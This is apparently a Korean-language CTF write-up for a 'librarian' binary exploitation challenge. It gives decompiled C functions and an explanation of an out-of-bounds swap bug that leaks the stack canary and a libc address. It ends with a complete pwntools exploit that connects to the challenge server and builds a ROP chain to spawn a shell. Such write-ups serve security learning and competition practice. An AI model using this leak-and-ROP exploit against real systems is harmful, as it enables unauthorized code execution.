2023. 6. 18. 22:23ㆍctf
main
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
unsigned int v3; // eax
int v5; // [rsp+8h] [rbp-798h] BYREF
int v6; // [rsp+Ch] [rbp-794h]
char book_list[1928]; // [rsp+10h] [rbp-790h] BYREF
unsigned __int64 v8; // [rsp+798h] [rbp-8h]
v8 = __readfsqword(0x28u);
sub_184C();
v3 = time(0LL);
srand(v3);
memset(book_list, 0, 0x780uLL);
while ( book_num <= 9 )
{
v6 = rand() % 30;
strcpy(&book_list[128 * book_num], &book_title_list[64 * v6]);
++book_num;
}
do
{
sub_1893();
__isoc99_scanf("%d", &v5);
switch ( v5 )
{
case 1:
print_book_list(book_list);
break;
case 2:
if ( book_num > 14 )
{
puts("The book list is full.");
}
else
{
add_book(book_list);
change_book(book_list);
}
break;
case 3:
sub_172A(book_list);
break;
case 4:
remove_all(book_list);
break;
case 5:
puts("Exiting...");
break;
default:
puts("Invalid choice. Please try again.");
break;
}
}
while ( v5 != 5 );
return 0LL;
}
add_book
unsigned __int64 __fastcall add_book(__int64 book_list)
{
int v2; // [rsp+1Ch] [rbp-54h]
char title[72]; // [rsp+20h] [rbp-50h] BYREF
unsigned __int64 v4; // [rsp+68h] [rbp-8h]
v4 = __readfsqword(0x28u);
printf("Book title: ");
v2 = read(0, title, 63uLL);
if ( title[v2 - 1] == 10 )
title[v2 - 1] = 0;
memcpy(((book_num << 7) + book_list), title, v2);
++book_num;
return v4 - __readfsqword(0x28u);
}
print_book_list
__int64 __fastcall print_book_list(__int64 book_list)
{
__int64 result; // rax
unsigned int i; // [rsp+1Ch] [rbp-4h]
puts("Current Book List:");
for ( i = 0; ; ++i )
{
result = book_num_10;
if ( i >= book_num_10 )
break;
printf("%d. ", i + 1);
write(1, ((i << 7) + book_list), 64uLL);
puts(&byte_2020);
}
return result;
}
change_book
unsigned __int64 __fastcall change_book(__int64 book_list)
{
__int64 *v1; // rax
_QWORD *v2; // rax
int v4; // [rsp+1Ch] [rbp-A4h]
__int64 v5; // [rsp+20h] [rbp-A0h]
__int64 v6; // [rsp+28h] [rbp-98h]
__int64 v7; // [rsp+30h] [rbp-90h]
__int64 v8; // [rsp+38h] [rbp-88h]
__int64 v9; // [rsp+40h] [rbp-80h]
__int64 v10; // [rsp+48h] [rbp-78h]
__int64 v11; // [rsp+50h] [rbp-70h]
__int64 v12; // [rsp+58h] [rbp-68h]
__int64 v13; // [rsp+60h] [rbp-60h]
__int64 v14; // [rsp+68h] [rbp-58h]
__int64 v15; // [rsp+70h] [rbp-50h]
__int64 v16; // [rsp+78h] [rbp-48h]
__int64 v17; // [rsp+80h] [rbp-40h]
__int64 v18; // [rsp+88h] [rbp-38h]
__int64 v19; // [rsp+90h] [rbp-30h]
__int64 v20; // [rsp+98h] [rbp-28h]
unsigned __int64 v21; // [rsp+A8h] [rbp-18h]
v21 = __readfsqword(0x28u);
v4 = book_num - 2;
while ( v4 >= 0 )
{
if ( strcmp((((v4 + 1LL) << 7) + book_list), ((v4 << 7) + book_list)) >= 0 || v4 == book_num )
{
--v4;
}
else
{
v1 = ((v4 << 7) + book_list);
v5 = *v1;
v6 = v1[1];
v7 = v1[2];
v8 = v1[3];
v9 = v1[4];
v10 = v1[5];
v11 = v1[6];
v12 = v1[7];
v13 = v1[8];
v14 = v1[9];
v15 = v1[10];
v16 = v1[11];
v17 = v1[12];
v18 = v1[13];
v19 = v1[14];
v20 = v1[15];
memcpy(v1, (((v4 + 1LL) << 7) + book_list), 64uLL);
memcpy(((v4 << 7) + book_list + 64), (((v4 + 1LL) << 7) + book_list + 64), 64uLL);
v2 = (((v4 + 1LL) << 7) + book_list);
*v2 = v5;
v2[1] = v6;
v2[2] = v7;
v2[3] = v8;
v2[4] = v9;
v2[5] = v10;
v2[6] = v11;
v2[7] = v12;
v2 += 8;
*v2 = v13;
v2[1] = v14;
v2[2] = v15;
v2[3] = v16;
v2[4] = v17;
v2[5] = v18;
v2[6] = v19;
v2[7] = v20;
++v4;
}
}
return v21 - __readfsqword(0x28u);
}
remove_all
_all(void *book_list)
{
void *result; // rax
result = memset(book_list, 0, book_num_10 << 7);
book_num = 0;
return result;
}
공격 시나리오
1. 4번 메뉴로 모든 책을 초기화 시킨다.
2. 2번 메뉴로 책 15권을 모두 채워넣어 book_num변수의 값을 15로 만들어준다.
왜냐하면 change_book 함수에서 v4에 book_num -2 값을 넣고 아래 사진의 조건문으로
들어가지 않으면 v4 ++을 진행해서 v4를 최대 14까지 만들 수 있고 14로 만들면
(14 << 7) + book_list와 (15 << 7) + book_list 를 swap 하기 때문에 libc와 canary를 릭할 수 있다.
왜냐하면 book_list는 rbp-0x790 ~ rbp-0x8까지의 영역이지만 저 15 << 7 + book_list의 주소는
rbp-0x10 가 되고 그 위치부터 128바이트를 14 << 7 + book_list 주소와 스왑하기 때문에
main ret과 canary를 책 리스트로 옮길 수 있고 1번 케이스(print_book_list) 를 통해 출력이 가능하다.
3. 립씨 베이스를 통해 라이브러리에서 /bin/sh문자열, system주소, pop rdi 가젯을 찾아주고
4번 케이스를 통해 모든 책을 지우고 1번처럼 책 15권을 채워넣으면서 change_book에서
ret 을 덮을 수 있는 번호를 통해 rop으로 쉘을 따면 된다
rop payload는 13번째 책에 넣어주면 되는데 그 이유는 change_book 함수에서
15 - 2 << 7 + book_list와 15 - 1 << 7 + book_list을 스왑하고 v4++을 한다.
그럼 다음 반복문에서는 15 - 2 << 7 + book_list 내용과 ret 부분을 치환하기 때문에
더미값으로 위치조정 잘 해서 13번째 책에 rop 페이로드를 구성해주면 끝!!
exploit
from pwn import *
import time
context.log_level = "debug"
r = remote("43.201.16.196", 8888)
#r = process("./librarian")
input()
r.sendlineafter(b"choice: ", b'4')
for i in range(-15, 0):
r.sendlineafter(b"choice: ", b'2')
r.sendlineafter(b"title: ", str(i).encode())
r.sendlineafter(b"choice: ", b'1')
book_list = r.recvuntil(b"Menu:")
#canary 뒤에 0x1이 위치한다는 특징을 통해 canary, main ret 위치 파악
find = book_list.find(b"\x01")
canary = book_list[find-7:find].rjust(8, b"\x00")
main_ret = u64(book_list[find+8:find+14].ljust(8, b"\x00"))
libc_base = main_ret - 0x23510
bin_sh = libc_base + 0x1b61b4
rdi = libc_base + 0x23e75
system = libc_base + 0x4e521
print("canary :", canary)
print("main ret :", hex(main_ret))
print("libc base :", hex(libc_base))
r.sendlineafter(b"choice: ", b'4')
for i in range(-15, 0):
r.sendlineafter(b"choice: ", b'2')
if i == -2:
r.sendlineafter(b"title: ", b"A" * 8 + canary + p64(0x1) + p64(rdi) + p64(bin_sh) + p64(1) + p64(system))
else:
r.sendlineafter(b"title: ", str(i).encode() + chr(65+i+15).encode() * 0x10)
r.sendlineafter(b"choice: ", b'5')
r.interactive()
'ctf' 카테고리의 다른 글
[ CCE 사이버공격방어대회 ] n0t rand0m (3) | 2023.06.12 |
---|---|
Dreamhack CTF Season 3 Round #2 (0) | 2023.04.22 |
[ layer7 ctf ] Christmasgift (0) | 2022.12.20 |
[ 화이트햇 콘테스트 ] left_right (0) | 2022.10.17 |